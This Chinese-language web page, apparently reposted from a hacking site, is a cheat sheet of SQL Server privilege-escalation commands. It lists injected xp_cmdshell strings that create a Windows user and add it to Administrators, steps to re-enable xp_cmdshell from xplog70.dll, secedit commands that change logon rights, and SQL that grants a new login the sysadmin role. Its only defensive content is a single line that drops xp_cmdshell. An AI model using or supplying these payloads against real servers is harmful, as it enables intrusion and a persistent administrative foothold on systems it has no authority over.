SQL Server提升权限相关命令及防范

• ;exec master..xp_cmdshell "net user name password /add"--
  ;exec master..xp_cmdshell "net localgroup administrators name /add"--
  
  程序代码开启cmdshell的SQL语句
  
  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
  
  判断存储扩展是否存在
  select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
  返回结果为1就OK
  
  恢复xp_cmdshell
  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
  返回结果为1就OK
  
  否则上传xplog7.0.dll
  Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
  
  堵上cmdshell的SQL语句
  sp_dropextendedproc "xp_cmdshell"
  
  
  DOS:
  dir c:/
  dir d:/
  dir e:/
  
  net user TsInternetUsers Password /add
  net localGroup Administrators TsInternetUsers /add
  
  备份恢复IPSEC
  
  secedit /export /CFG c:/tmp.inf
  echo sedenynetworklogonright =>>c:/tmp.inf
  secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
  
  SQL:
  exec master..sp_addlogin UserName,Password
  exec master..sp_addsrvrolemember UserName,sysadmin
  

  （出处：急速软件下载学院）

• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• SQL Server提升权限相关命令及防范 相关文章：
• ·SQL Server提升权限相关命令及防范
• ·SQL Server提升权限相关命令及防范
• SQL Server提升权限相关命令及防范 相关软件

上一篇:NetBSD安装手册

下一篇:Access 2K/XP 数据库的最佳NTFS权限设置

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐